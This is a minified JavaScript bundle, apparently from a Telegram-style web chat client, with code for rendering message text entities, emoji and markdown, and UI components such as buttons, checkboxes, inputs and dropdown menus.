F.includes("%amount%")&&(_=C(F,"%amount%",M),F=_.pop(),B.push(..._)),F.includes("%score%")&&(_=C(F,"%score%",N.toString()),F=_.pop(),B.push(..._)),_=C(F,"%target_user%",c?c.map((e=>I(e,O))).filter(Boolean):"User",""),F=_.pop(),B.push(..._),_=C(F,"%message%",u?function(e,t,n={},s,a){const{asPlainText:i,isEmbedded:d}=n;if(i)return(0,r.MK)(e,t,void 0,b);const c=o.ZP.createElement(p.Z,{lang:e,message:t,truncateLength:b,observeIntersectionForLoading:s,observeIntersectionForPlaying:a,withTranslucentThumbs:!0});return d?c:o.ZP.createElement(m,{className:"action-link",message:t},c)}(e,u,S,E,P):"a message"),F=_.pop(),B.push(..._),_=C(F,"%product%",u?function(e){return e.content&&e.content.invoice?e.content.invoice.title:"a product"}(u):"a product"),F=_.pop(),B.push(..._),_=C(F,"%target_chat%",y?function(e,t){const n="another chat";return t?n:o.ZP.createElement(l,{className:"action-link underlined-link",chatId:e},n)}(y,O):"another chat",""),_.forEach((e=>{B.push(...(0,i.Z)(e))})),S.asPlainText?B.join("").trim():L?function(e,t){return o.ZP.createElement(h,{groupCall:e},t)}(L,B):B}function I(e,t){const n=(0,a.Z)((0,r.Js)(e),b);return t?(0,i.Z)(n):o.ZP.createElement(y,{className:"action-link",sender:e},e&&(0,i.Z)(n))}function C(e,t,n,o=","){const r=e.indexOf(t);if(r<0||!n)return[e];const s=[];return s.push(e.substring(0,r)),Array.isArray(n)?n.forEach(((e,t)=>{s.push(e),t+1<n.length&&s.push(`${o} `)})):s.push(n),s.push(e.substring(r+t.length)),s.flat()}},32340:(e,t,n)=>{n.d(t,{Z:()=>h,h:()=>v});var o=n(60748),r=n(83716),s=n(33681),a=n(46752),i=n(34284),d=n(60782),c=n(97184),u=n(97373),l=n(10088);const f=/(\*\*|__).+?\1/g;function h(e,t=["emoji"],n){return"string"!=typeof e?[e]:(0,d.oA)(t.reduce(((e,t)=>{switch(t){case"escape_html":return function(e){const t=document.createElement("div");return e.reduce(((e,n)=>"string"!=typeof n?(e.push(n),e):(t.innerText=n,e.push(t.innerHTML),e)),[])}(e);case"hq_emoji":return s.Z.lastIndex=0,m(e,"big","jsx");case"emoji":return s.Z.lastIndex=0,m(e,"small","jsx");case"emoji_html":return s.Z.lastIndex=0,m(e,"small","html");case"br":return p(e,"jsx");case"br_html":return p(e,"html");case"highlight":return g(e,n.highlight);case"quote":return g(e,n.quote,!0);case"links":return e.reduce(((e,t)=>{if("string"!=typeof t)return e.push(t),e;const n=t.match(y);if(!n||!n.length)return e.push(t),e;const r=[];let s=n.shift(),a=0;for(;s;){const e=t.indexOf(s,a);r.push(t.substring(a,e)),s.startsWith("@")?r.push(o.ZP.createElement(u.Z,{username:s},s)):(s.endsWith("?")&&(s=s.slice(0,s.length-1)),r.push(o.ZP.createElement(l.Z,{text:s,url:s}))),a=e+s.length,s=n.shift()}return r.push(t.substring(a)),[...e,...r]}),[]);case"simple_markdown":return b(e,"jsx");case"simple_markdown_html":return b(e,"html")}return e}),[e]))}function m(e,t,n){return c.op?e:e.reduce(((e,d)=>{if("string"!=typeof d)return e.push(d),e;const c=(d=(0,i.g6)(d)).split(s.Z),u=d.match(s.Z)||[];return e.push(c[0]),u.reduce(((e,s,d)=>{const u=(0,i.DW)(s);if(u){const d=`${r.v5x?r._nY:"."}/img-apple-${"big"===t?"160":"64"}/${u}.png`,c=(0,a.Z)("emoji","small"===t&&"emoji-small");if("jsx"===n){const t=i.Uz.has(d);e.push(o.ZP.createElement("img",{src:d,className:`${c}${t?"":" opacity-transition slow shown"}`,alt:s,"data-path":d,draggable:!1,onLoad:t?void 0:i.mE}))}"html"===n&&e.push(`<img            draggable="false"            class="${c}"            src="${d}"            alt="${s}"          />`)}else e.push(s);const l=2*d+2;return c[l]&&e.push(c[l]),e}),e)}),[])}function p(e,t){return e.reduce(((e,n)=>{if("string"!=typeof n)return e.push(n),e;const r=n.split(/\r\n|\r|\n/g).reduce(((e,n,r,s)=>{const a=n.trimLeft(),i=n.length-a.length;return e.push(String.fromCharCode(160).repeat(i)+a),r!==s.length-1&&e.push("jsx"===t?o.ZP.createElement("br",null):"<br />"),e}),[]);return[...e,...r]}),[])}function g(e,t,n){return e.reduce(((e,r)=>{if("string"!=typeof r||!t)return e.push(r),e;const s=r.toLowerCase().indexOf(t.toLowerCase());if(s<0)return e.push(r),e;const i=[];return i.push(r.substring(0,s)),i.push(o.ZP.createElement("span",{className:(0,a.Z)("matching-text-highlight",n&&"is-quote")},r.substring(s,s+t.length))),i.push(r.substring(s+t.length)),[...e,...i]}),[])}const y=new RegExp(`${r.FM6}|${r.uWu}`,"ig");function b(e,t){return e.reduce(((e,n)=>{if("string"!=typeof n)return e.push(n),e;const r=n.split(f),s=n.match(f)||[];return e.push(r[0]),s.reduce(((e,n,s)=>{"jsx"===t?e.push(n.startsWith("**")?o.ZP.createElement("b",null,n.replace(/\*\*/g,"")):o.ZP.createElement("i",null,n.replace(/__/g,""))):e.push(n.startsWith("**")?`<b>${n.replace(/\*\*/g,"")}</b>`:`<i>${n.replace(/__/g,"")}</i>`);const a=2*s+2;return r[a]&&e.push(r[a]),e}),e)}),[])}function v(e,t){const n=(e.trim().match(/\n/g)||"").length+1,{lineHeight:o}=getComputedStyle(t),r=parseFloat(o.split("px")[0]);return t.clientHeight>=(n+1)*r}},4809:(e,t,n)=>{n.d(t,{z:()=>T,H:()=>k});var o=n(60748),r=n(33555),s=n(6137),a=n(46752),i=n(64319),d=n(59692),c=n(44139),u=n(32340),l=n(97373);const f={js:"JavaScript",javascript:"JavaScript",ts:"TypeScript",typescript:"TypeScript",python:"Python",py:"Python",go:"Go",rust:"Rust",func:"FunC",c:"C","c++":"C++",cpp:"C++",fortran:"Fortran",f90:"Fortran",f:"Fortran",java:"Java",sql:"SQL",swift:"Swift","objective-c":"Objective-C",kotlin:"Kotlin",ruby:"Ruby",rb:"Ruby",php:"PHP",perl:"Perl",bash:"Bash",sh:"Shell",markdown:"Markdown","c#":"C#",cs:"C#",json:"JSON",yaml:"YAML",yml:"YAML",solidity:"Solidity",sol:"Solidity",tl:"TL"};var h=n(77510),m=n(59107),p=n(22418);const g=(0,o.X$)((({text:e,className:t,noCopy:n,onWordWrapToggle:s})=>{const{showNotification:d}=(0,r.Sv)(),c=(0,o.sO)(null),l=(0,p.Z)(),f=(0,m.Z)(),[h,g]=(0,o.eJ)(!0),[y,b]=(0,o.eJ)(!1),v=(0,o.I4)((()=>{const t=(0,u.h)(e,c.current.parentElement);b(t)}),[e]);(0,o.d4)((()=>{h&&v()}),[v,h,e,l]);const w=(0,o.I4)((()=>{(0,i.TE)(e),d({message:f("TextCopied")})}),[f,d,e]),I=(0,o.I4)((()=>{g(!h),s?.(!h)}),[h,s]),C=(0,a.Z)("d09hp4fxFTuFw1emBUDA",!y&&n&&"We_Wcr7YvkkUM8ICjRAs"),S=(0,a.Z)("SwhO2lEtk47g68_ixpDe",t),E=(0,a.Z)("iEZTJnlmMCct8jJztTx8",h&&"B4kEjXkw8Sse9g0Xv_OO");return o.ZP.createElement("div",{className:S,ref:c},o.ZP.createElement("div",{className:C},y&&o.ZP.createElement("div",{className:E,onClick:I,title:"Word Wrap"},o.ZP.createElement("i",{className:"icon icon-word-wrap"})),!n&&o.ZP.createElement("div",{className:"deqdY4TS7mStC8qkslV4",onClick:w,title:f("Copy")},o.ZP.createElement("i",{className:"icon icon-copy"}))))})),y=(0,o.X$)((({text:e,language:t,noCopy:r})=>{const[i,d]=(0,o.eJ)(!0),{result:c}=(0,h.Z)((()=>t?Promise.all([n.e(3966),n.e(4713)]).then(n.bind(n,94713)).then((n=>n.default(e,t))):Promise.resolve(void 0)),[t,e]),u=(0,o.I4)((e=>{d(e)}),[]),l=(0,a.Z)("code-block",!i&&"no-word-wrap");return o.ZP.createElement("div",{className:"CodeBlock"},t&&o.ZP.createElement("p",{className:"code-title"},f[(m=t).toLowerCase()]??m),o.ZP.createElement("pre",{className:l,"data-entity-type":s.Vv.Pre,"data-language":t},c??e,o.ZP.createElement(g,{text:e,className:"code-overlay",onWordWrapToggle:u,noCopy:r})));var m}));var b=n(96459),v=n(10088),w=n(60706),I=n(25190);const C=new Map,S=(0,a.y)("Spoiler"),E=(0,o.X$)((({children:e,containerId:t})=>{const n=(0,o.sO)(null),[r,a]=(0,w.Z)(),i=(0,I.Z)((e=>{t&&(e.preventDefault(),e.stopPropagation(),C.get(t)?.forEach((e=>e())))}));return(0,o.d4)((()=>{if(t)return C.has(t)?C.get(t).push(a):C.set(t,[a]),()=>{C.delete(t)}}),[t]),o.ZP.createElement("span",{className:S("&",!r&&"concealed",!r&&Boolean(t)&&"animated"),onClick:t&&!r?i:void 0,"data-entity-type":s.Vv.Spoiler},o.ZP.createElement("span",{className:S("content"),ref:n},e))})),P=64;function k({text:e,entities:t,highlight:n,emojiSize:r,shouldRenderAsHtml:i,containerId:d,isSimple:f,isProtected:h,noLineBreaks:m,observeIntersectionForLoading:p,observeIntersectionForPlaying:g,withTranslucentThumbs:w,sharedCanvasRef:I,sharedCanvasHqRef:C,cacheBuster:S,forcePlayback:P,focusedQuote:k}){if(!t?.length)return M({content:e,highlight:n,focusedQuote:k,emojiSize:r,shouldRenderAsHtml:i,isSimple:f,noLineBreaks:m});const T=[];let D=!1;const B=function(e){const t=new Set,n=[];return e.forEach(((o,r)=>{if(t.has(r))return;const s=A(o,r,e,t);s&&(s.organizedIndexes.forEach((e=>{t.add(e)})),n.push(s))})),n}(t);function O(t,T,A,B){const x=[],{entity:_,nestedEntities:F}=A,{offset:j,length:$,type:U}=_;let V=e.substring(t,j);const H=V.length;V&&(D&&V.length>0&&"\n"===V[0]&&(V=V.substr(1),D=!1),V&&x.push(...M({content:V,highlight:n,focusedQuote:k,emojiSize:r,shouldRenderAsHtml:i,isSimple:f,noLineBreaks:m})));const W=t+H,K=W+$;let G=e.substring(j,j+$);const z=[];if(D&&G.length>0&&"\n"===G[0]&&(G=G.substr(1),D=!1),U===s.Vv.Pre&&(D=!0),F.length){let e=W;F.forEach(((t,n)=>{const{renderResult:o,entityEndIndex:r}=O(e,K,t,n===F.length-1);z.push(...o),e=r}))}const q=i?function(e,t,n){const o="string"==typeof t?t:void 0,r=e.type===s.Vv.Pre?t.trimEnd():t,a=n.length?n.join(""):(0,u.Z)(r,["escape_html","emoji_html","br_html"]).join("");if(!o)return a;switch(e.type){case s.Vv.Bold:return`<b>${a}</b>`;case s.Vv.Italic:return`<i>${a}</i>`;case s.Vv.Underline:return`<u>${a}</u>`;case s.Vv.Code:return`<code class="text-entity-code">${a}</code>`;case s.Vv.Pre:return`\`\`\`${(0,u.Z)(e.language||"",["escape_html"])}<br/>${a}<br/>\`\`\`<br/>`;case s.Vv.Strike:return`<del>${a}</del>`;case s.Vv.MentionName:return`<a\n        class="text-entity-link"\n        data-entity-type="${s.Vv.MentionName}"\n        data-user-id="${e.userId}"\n        contenteditable="false"\n        dir="auto"\n      >${a}</a>`;case s.Vv.Url:case s.Vv.TextUrl:return`<a\n        class="text-entity-link"\n        href=${L(o,e)}\n        data-entity-type="${e.type}"\n        dir="auto"\n      >${a}</a>`;case s.Vv.Spoiler:return`<span\n        class="spoiler"\n        data-entity-type="${s.Vv.Spoiler}"\n        >${a}</span>`;case s.Vv.CustomEmoji:return(0,c.z3)(o,e);case s.Vv.Blockquote:return`<blockquote\n        class="blockquote"\n        data-entity-type="${s.Vv.Blockquote}"\n        >${a}</blockquote>`;default:return a}}(_,G,z):function({entity:e,entityContent:t,nestedEntityContent:n,highlight:r,focusedQuote:i,containerId:d,isSimple:c,noLineBreaks:u,isProtected:f,observeIntersectionForLoading:h,observeIntersectionForPlaying:m,withTranslucentThumbs:p,emojiSize:g,sharedCanvasRef:w,sharedCanvasHqRef:I,cacheBuster:C,forcePlayback:S}){const P="string"==typeof t&&t,k=n.length?n:t;function T(){return M({content:k,highlight:r,focusedQuote:i,emojiSize:g,isSimple:c,noLineBreaks:u})}if(!P)return T();if(c){const t=T();return e.type===s.Vv.Spoiler?o.ZP.createElement(E,null,t):e.type===s.Vv.CustomEmoji?o.ZP.createElement(b.Z,{key:C?`${C}-${e.offset}`:void 0,documentId:e.documentId,size:g,withSharedAnimation:!0,sharedCanvasRef:w,sharedCanvasHqRef:I,withGridFix:!g,observeIntersectionForLoading:h,observeIntersectionForPlaying:m,withTranslucentThumb:p,forceAlways:S}):t}switch(e.type){case s.Vv.Bold:return o.ZP.createElement("strong",{"data-entity-type":e.type},T());case s.Vv.Blockquote:return o.ZP.createElement("span",{className:"text-entity-blockquote-wrapper"},o.ZP.createElement("blockquote",{"data-entity-type":e.type},T()));case s.Vv.BotCommand:return o.ZP.createElement("a",{onClick:N,className:"text-entity-link",dir:"auto","data-entity-type":e.type},T());case s.Vv.Hashtag:case s.Vv.Cashtag:return o.ZP.createElement("a",{onClick:R,className:"text-entity-link",dir:"auto","data-entity-type":e.type},T());case s.Vv.Code:return o.ZP.createElement("code",{className:(0,a.Z)("text-entity-code",!f&&"clickable"),onClick:f?void 0:Z,role:"textbox",tabIndex:0,"data-entity-type":e.type},T());case s.Vv.Email:return o.ZP.createElement("a",{href:`mailto:${P}`,target:"_blank",rel:"noopener noreferrer",className:"text-entity-link",dir:"auto","data-entity-type":e.type},T());case s.Vv.Italic:return o.ZP.createElement("em",{"data-entity-type":e.type},T());case s.Vv.MentionName:return o.ZP.createElement(l.Z,{userId:e.userId},T());case s.Vv.Mention:return o.ZP.createElement(l.Z,{username:P},T());case s.Vv.Phone:return o.ZP.createElement("a",{href:`tel:${P}`,className:"text-entity-link",dir:"auto","data-entity-type":e.type},T());case s.Vv.Pre:return o.ZP.createElement(y,{text:P,language:e.language,noCopy:f});case s.Vv.Strike:return o.ZP.createElement("del",{"data-entity-type":e.type},T());case s.Vv.TextUrl:case s.Vv.Url:return o.ZP.createElement(v.Z,{url:L(P,e),text:P},T());case s.Vv.Underline:return o.ZP.createElement("ins",{"data-entity-type":e.type},T());case s.Vv.Spoiler:return o.ZP.createElement(E,{containerId:d},T());case s.Vv.CustomEmoji:return o.ZP.createElement(b.Z,{key:C?`${C}-${e.offset}`:void 0,documentId:e.documentId,size:g,withSharedAnimation:!0,sharedCanvasRef:w,sharedCanvasHqRef:I,withGridFix:!g,observeIntersectionForLoading:h,observeIntersectionForPlaying:m,withTranslucentThumb:p,forceAlways:S});default:return T()}}({entity:_,entityContent:G,nestedEntityContent:z,highlight:n,focusedQuote:k,containerId:d,isSimple:f,noLineBreaks:m,isProtected:h,observeIntersectionForLoading:p,observeIntersectionForPlaying:g,withTranslucentThumbs:w,emojiSize:r,sharedCanvasRef:I,sharedCanvasHqRef:C,cacheBuster:S,forcePlayback:P});if(Array.isArray(q)?x.push(...q):x.push(q),B&&K<T){let t=e.substring(K,T);D&&t.length>0&&"\n"===t[0]&&(t=t.substring(1)),t&&x.push(...M({content:t,highlight:n,focusedQuote:k,emojiSize:r,shouldRenderAsHtml:i,isSimple:f,noLineBreaks:m}))}return{renderResult:x,entityEndIndex:K}}let x=0;return B.forEach(((t,n)=>{const{renderResult:o,entityEndIndex:r}=O(x,e.length,t,n===B.length-1);T.push(...o),x=r})),T}function T(e){const{text:t,entities:n}=e||{};if(!t)return"";const o=k({text:t,entities:n,shouldRenderAsHtml:!0});return Array.isArray(o)?o.join(""):o}function M({content:e,highlight:t,focusedQuote:n,emojiSize:o,shouldRenderAsHtml:r,isSimple:s,noLineBreaks:a}){if(Array.isArray(e)){const i=[];return e.forEach((e=>{i.push(...M({content:e,highlight:t,focusedQuote:n,emojiSize:o,shouldRenderAsHtml:r,isSimple:s,noLineBreaks:a}))})),i}if(r)return(0,u.Z)(e,["escape_html","emoji_html","br_html"]);const i=[o&&o>P?"hq_emoji":"emoji"],d={};return s||a||i.push("br"),t&&(i.push("highlight"),d.highlight=t),n&&(i.push("quote"),d.quote=n),(0,u.Z)(e,i,d)}function A(e,t,n,o){const{offset:r,length:s}=e,a=new Set([t]);if(o.has(t))return;const i=[];return n.filter(((e,n)=>n>t&&e.offset>=r&&e.offset<r+s)).map((e=>A(e,n.indexOf(e),n,o))).filter(Boolean).forEach((e=>{let t=!1;e.organizedIndexes.forEach((e=>{t||a.has(e)||(t=!0),a.add(e)})),t&&i.push(e)})),{entity:e,organizedIndexes:a,nestedEntities:i}}function L(e,t){const{type:n}=t;return n===s.Vv.TextUrl&&t.url?t.url:e}function N(e){(0,r.Sv)().sendBotCommand({command:e.currentTarget.innerText})}function R(e){(0,r.Sv)().setLocalTextSearchQuery({query:e.currentTarget.innerText}),(0,r.Sv)().searchTextMessagesLocal()}function Z(e){(0,i.TE)(e.currentTarget.innerText),(0,r.Sv)().showNotification({message:(0,d.Iu)("TextCopied")})}},60422:(e,t,n)=>{n.d(t,{Z:()=>m});var o=n(60748),r=n(33555),s=n(7054),a=n(74288),i=n(69118);let d=new Set;const c=new Set,u=(0,i.P2)((()=>{const e=[...d],t=e.slice(0,100),n=e.slice(101);(0,r.Sv)().loadCustomEmojis({ids:t}),d=new Set(n),d.size&&u()}),200,!1),l=(0,i.P2)((()=>{(0,r.Sv)().updateLastRenderedCustomEmojis({ids:[...c].reverse()}),c.clear()}),200,!1);function f(e){c.add(e),l()}(0,a.bn)(f);var h=n(25190);function m(e){const[t,n]=(0,o.eJ)(e?(0,r.Rd)().customEmojis.byId[e]:void 0),[i,c]=(0,o.eJ)((0,s.W9H)((0,r.Rd)()));var l;(l=e)&&(f(l),(0,r.Rd)().customEmojis.byId[l]||(d.add(l),u()));const m=(0,h.Z)((t=>{if(!e)return;const o=(0,r.Rd)();n((t??o.customEmojis).byId[e]),c((0,s.W9H)(o))}));return(0,o.d4)(m,[e,m]),(0,o.d4)((()=>{if(e)return(0,a.k2)(m,e),()=>{(0,a.sp)(m)}}),[t,e,m]),{customEmoji:t,canPlay:i}}},44139:(e,t,n)=>{n.d(t,{fJ:()=>c,qo:()=>f,yR:()=>u,z3:()=>l});var o=n(33555),r=n(6137),s=n(83716),a=n(46752),i=n(74288),d=n(74399);const c="img[data-document-id]";function u(e){const[t,n,o]=(0,i.dA)(e);return`<img\n    class="${(0,a.Z)("custom-emoji","emoji","emoji-small",t&&"placeholder",e.shouldUseTextColor&&"colorable")}"\n    draggable="false"\n    alt="${e.emoji}"\n    data-document-id="${e.id}"\n    ${o?`data-unique-id="${o}"`:""}\n    data-entity-type="${r.Vv.CustomEmoji}"\n    src="${n}"\n  />`}function l(e,t){const n=(0,o.Rd)().customEmojis.byId[t.documentId],[s,d,c]=(0,i.dA)(n);return`<img\n    class="${(0,a.Z)("custom-emoji","emoji","emoji-small",s&&"placeholder",n?.shouldUseTextColor&&"colorable")}"\n    draggable="false"\n    alt="${e}"\n    data-document-id="${t.documentId}"\n    ${c?`data-unique-id="${c}"`:""}\n    data-entity-type="${r.Vv.CustomEmoji}"\n    src="${d}"\n  />`}function f(e){if(e)return e>s.L5X?2.25*d.Gw:1===e?7*d.Gw:Math.min(7.5-.75*e,5.625)*d.Gw}},30386:(e,t,n)=>{n.d(t,{b:()=>a,q:()=>s});var o=n(83716),r=n(97184);function s(e,t=!1){r.cj||!document.activeElement||document.activeElement.id!==o.R2F||!t&&e.target!==e.currentTarget||e.preventDefault()}function a(e){s(e,!0)}},97373:(e,t,n)=>{n.d(t,{Z:()=>i});var o=n(60748),r=n(33555),s=n(6137),a=n(7054);const i=(0,r.c$)(((e,{userId:t})=>({userOrChat:t?(0,a.dyD)(e,t):void 0})))((({userId:e,username:t,userOrChat:n,children:a})=>{const{openChat:i,openChatByUsername:d,closeStoryViewer:c}=(0,r.Sv)();return o.ZP.createElement("a",{onClick:()=>{n?i({id:n.id}):t&&(c(),d({username:t.substring(1)}))},className:"text-entity-link",dir:"auto","data-entity-type":e?s.Vv.MentionName:s.Vv.Mention},a)}))},231:(e,t,n)=>{n.d(t,{Z:()=>u});var o=n(60748),r=n(46752),s=n(80036),a=n(97184),i=n(25190),d=n(68512),c=n(49204);const u=({ref:e,type:t="button",id:n,onClick:u,onContextMenu:l,onMouseDown:f,onMouseUp:h,onMouseEnter:m,onMouseLeave:p,onFocus:g,children:y,size:b="default",color:v="primary",backgroundImage:w,className:I,round:C,pill:S,fluid:E,isText:P,isLoading:k,isShiny:T,withPremiumGradient:M,onTransitionEnd:A,ariaLabel:L,ariaControls:N,hasPopup:R,href:Z,download:D,disabled:B,nonInteractive:O,allowDisabledClick:x,noFastClick:_="danger"===v,ripple:F,faded:j,tabIndex:$,isRtl:U,isRectangular:V,noPreventDefault:H,shouldStopPropagation:W,style:K})=>{let G=(0,o.sO)(null);e&&(G=e);const[z,q]=(0,o.eJ)(!1),Y=B||O,J=(0,r.Z)("Button",I,b,v,C&&"round",S&&"pill",E&&"fluid",Y&&"disabled",O&&"non-interactive",x&&"click-allowed",P&&"text",k&&"loading",F&&"has-ripple",j&&"faded",z&&"clicked",w&&"with-image",T&&"shiny",M&&"premium",V&&"rectangular"),X=(0,i.Z)((e=>{!x&&Y||!u||u(e),W&&e.stopPropagation(),q(!0),setTimeout((()=>{q(!1)}),400)})),Q=(0,i.Z)((e=>{H||e.preventDefault(),!x&&Y||!f||f(e),a.$b||e.button!==a.tc.Main||_||X(e)}));return Z?o.ZP.createElement("a",{ref:G,id:n,className:J,href:Z,title:L,download:D,tabIndex:$,dir:U?"rtl":void 0,"aria-label":L,"aria-controls":N,style:K,onTransitionEnd:A},y,!Y&&F&&o.ZP.createElement(d.Z,null)):o.ZP.createElement("button",{ref:G,id:n,type:t,className:J,onClick:a.$b||_?X:void 0,onContextMenu:l,onMouseDown:Q,onMouseUp:h,onMouseEnter:m&&!Y?m:void 0,onMouseLeave:p&&!Y?p:void 0,onTransitionEnd:A,onFocus:g&&!Y?g:void 0,"aria-label":L,"aria-controls":N,"aria-haspopup":R,title:L,tabIndex:$,dir:U?"rtl":void 0,style:(0,s.Z)(K,w&&`background-image: url(${w})`)},k?o.ZP.createElement("div",null,o.ZP.createElement("span",{dir:U?"auto":void 0},"请稍等..."),o.ZP.createElement(c.Z,{color:P?"blue":"white"})):y,!Y&&F&&o.ZP.createElement(d.Z,null))}},14605:(e,t,n)=>{n.d(t,{Z:()=>d});var o=n(60748),r=n(46752),s=n(32340),a=n(59107),i=n(49204);const d=(0,o.X$)((({id:e,name:t,value:n,label:d,subLabel:c,checked:u,tabIndex:l,disabled:f,round:h,blocking:m,isLoading:p,className:g,rightIcon:y,onChange:b,onCheck:v,onClickLabel:w})=>{const I=(0,a.Z)(),C=(0,o.sO)(null),S=(0,o.I4)((e=>{f||(b&&b(e),v&&v(e.currentTarget.checked))}),[f,b,v]),E=(0,r.Z)("Checkbox",f&&"disabled",h&&"round",p&&"loading",m&&"blocking",g);return o.ZP.createElement("label",{className:E,dir:I.isRtl?"rtl":void 0,onClick:w?function(e){e.target!==C.current&&w?.(e,n)}:void 0,ref:C},o.ZP.createElement("input",{type:"checkbox",id:e,name:t,value:n,checked:u,disabled:f,tabIndex:l,onChange:S,onClick:w?function(e){e.stopPropagation()}:void 0}),o.ZP.createElement("div",{className:"Checkbox-main"},o.ZP.createElement("span",{className:"label",dir:"auto"},"string"==typeof d?(0,s.Z)(d):d,y&&o.ZP.createElement("i",{className:`icon icon-${y} right-icon`})),c&&o.ZP.createElement("span",{className:"subLabel",dir:"auto"},(0,s.Z)(c))),p&&o.ZP.createElement(i.Z,null))}))},53106:(e,t,n)=>{n.d(t,{Z:()=>a});var o=n(60748),r=n(231),s=n(52328);const a=({trigger:e,className:t,children:n,transformOriginX:a,transformOriginY:i,positionX:d="left",positionY:c="top",footer:u,forceOpen:l,onOpen:f,onClose:h,onTransitionEnd:m,onMouseEnterBackdrop:p,onHide:g})=>{const y=(0,o.sO)(null),b=(0,o.sO)(null),[v,w]=(0,o.eJ)(!1),I=(0,o.I4)((()=>{w(!1),h?.()}),[h]),C=(0,o.Ye)((()=>e||(({onTrigger:e,isOpen:t})=>o.ZP.createElement(r.Z,{round:!0,size:"smaller",color:"translucent",className:t?"active":"",onClick:e,ariaLabel:"More actions"},o.ZP.createElement("i",{className:"icon icon-more"})))),[e]);return o.ZP.createElement("div",{ref:b,className:`DropdownMenu ${t||""}`,onKeyDown:e=>{const t=y.current;if(!v||40!==e.keyCode||!t)return;const n=document.activeElement,o=Array.from(t.children);n&&-1!==o.indexOf(n)||o[0].focus()},onTransitionEnd:m},C({onTrigger:()=>{w(!v),v?h?.():f?.()},isOpen:v}),o.ZP.createElement(s.Z,{ref:y,containerRef:b,isOpen:v||Boolean(l),className:t||"",transformOriginX:a,transformOriginY:i,positionX:d,positionY:c,footer:u,autoClose:!0,onClose:I,shouldSkipTransition:l,onCloseAnimationEnd:g,onMouseEnterBackdrop:p},n))}},97687:(e,t,n)=>{n.d(t,{Z:()=>a});var o=n(60748),r=n(46752),s=n(59107);const a=(0,o.X$)((({ref:e,id:t,className:n,value:a,label:i,error:d,success:c,disabled:u,readOnly:l,placeholder:f,autoComplete:h,inputMode:m,maxLength:p,tabIndex:g,teactExperimentControlled:y,onChange:b,onInput:v,onKeyPress:w,onKeyDown:I,onBlur:C,onPaste:S})=>{const E=(0,s.Z)(),P=d||c||i,k=(0,r.Z)("input-group",a&&"touched",d?"error":c&&"success",u&&"disabled",l&&"disabled",P&&"with-label",n);return o.ZP.createElement("div",{className:k,dir:E.isRtl?"rtl":void 0},o.ZP.createElement("input",{ref:e,className:"form-control",type:"text",id:t,dir:"auto",value:a||"",tabIndex:g,placeholder:f,maxLength:p,autoComplete:h,inputMode:m,disabled:u,readOnly:l,onChange:b,onInput:v,onKeyPress:w,onKeyDown:I,onBlur:C,onPaste:S,"aria-label":P,teactExperimentControlled:y}),P&&o.ZP.createElement("label",{htmlFor:t},P))}))},8337:(e,t,n)=>{n.d(t,{Z:()=>a});var o=n(60748),r=n(46752),s=n(25190);const a=({children:e,isPrimary:t,className:n,isRtl:a,onClick:i})=>{const d=(0,s.Z)((e=>{e.preventDefault(),i(e)}));return o.ZP.createElement("a",{href:"#",className:(0,r.Z)("Link","h_qmZuKBrM7SWOEcmH68",n,t&&"iZ_WxIDQyqM2SOYqu4Y8"),dir:a?"rtl":"auto",onClick:i?d:void 0},e)}},34288:(e,t,n)=>{n.d(t,{Z:()=>a});var o=n(60748),r=n(46752),s=n(49204);const a=(0,o.X$)((({color:e="blue",backgroundColor:t,className:n,onClick:a})=>o.ZP.createElement("div",{className:(0,r.Z)("Loading",a&&"interactive",n),onClick:a},o.ZP.createElement(s.Z,{color:e,backgroundColor:t}))))},52328:(e,t,n)=>{n.d(t,{Z:()=>b});var o=n(60748),r=n(46752),s=n(80036),a=n(23989),i=n(68368),d=n(97184),c=n(30386),u=n(42797),l=n(274),f=n(18674),h=n(46590),m=n(72313),p=n(31212),g=n(58758),y=n(62898);const b=(0,o.X$)((0,i.Z)((({ref:e,containerRef:t,shouldCloseFast:n,isOpen:i,id:b,className:v,bubbleClassName:w,style:I,bubbleStyle:C,ariaLabelledBy:S,children:E,transformOriginX:P,transformOriginY:k,positionX:T="left",positionY:M="top",autoClose:A=!1,footer:L,noCloseOnBackdrop:N=!1,backdropExcludedSelector:R,noCompact:Z,onCloseAnimationEnd:D,onClose:B,onMouseEnter:O,onMouseLeave:x,shouldSkipTransition:_,withPortal:F,onMouseEnterBackdrop:j})=>{let $=(0,o.sO)(null);e&&($=e);const U=t||$,{isTouchScreen:V}=(0,u.ZP)(),{transitionClassNames:H}=(0,p.Z)(i,D,_,void 0,_);(0,o.d4)((()=>i?(0,a.Z)(B):void 0),[i,B]),(0,h.Z)({isActive:i,onBack:B,shouldBeReplaced:!0}),(0,l.Z)((([e])=>{(i||!i&&!0===e)&&(0,f.YW)(200)}),[i]);const W=(0,m.Z)($,i,A?B:void 0,void 0,!0);(0,g.Z)(i,U,N?void 0:B,void 0,R);const K=(0,r.Z)("bubble menu-container custom-scroll",M,T,L&&"with-footer",H,w,n&&"close-fast"),G=void 0!==k?`${k}px`:void 0,z=void 0!==P?`${P}px`:void 0,q=o.ZP.createElement("div",{id:b,className:(0,r.Z)("Menu",!Z&&!V&&"compact",!d.gk&&"no-blur",F&&"in-portal",v),style:I,"aria-labelledby":S,role:S?"menu":void 0,onKeyDown:i?W:void 0,onMouseEnter:O,onMouseLeave:i?x:void 0},i&&o.ZP.createElement("div",{className:"backdrop",onMouseDown:c.b,onMouseEnter:j}),o.ZP.createElement("div",{role:"presentation",ref:$,className:K,style:(0,s.Z)(`transform-origin: ${z||T} ${G||M}`,C),onClick:A?B:void 0},E,L&&o.ZP.createElement("div",{className:"footer"},L)));return F?o.ZP.createElement(y.Z,null,q):q})))},58964:(e,t,n)=>{n.d(t,{Z:()=>c});var o=n(60748),r=n(83716),s=n(46752),a=n(42797),i=n(59107),d=n(25190);const c=e=>{const{icon:t,isCharIcon:n,customIcon:c,className:u,children:l,onClick:f,href:h,download:m,disabled:p,destructive:g,ariaLabel:y,withWrap:b,onContextMenu:v,clickArg:w}=e,I=(0,i.Z)(),{isTouchScreen:C}=(0,a.ZP)(),S=(0,d.Z)((e=>{if(p||!f)return e.stopPropagation(),void e.preventDefault();f(e,w)})),E=(0,d.Z)((e=>{if(13===e.keyCode||32===e.keyCode)return p||!f?(e.stopPropagation(),void e.preventDefault()):void f(e,w)})),P=(0,s.Z)("MenuItem",u,p&&"disabled",g&&"destructive",!C&&"compact",b&&"wrap"),k=o.ZP.createElement(o.ZP.Fragment,null,!c&&t&&o.ZP.createElement("i",{className:n?"icon icon-char":`icon icon-${t}`,"data-char":n?t:void 0}),c,l);return 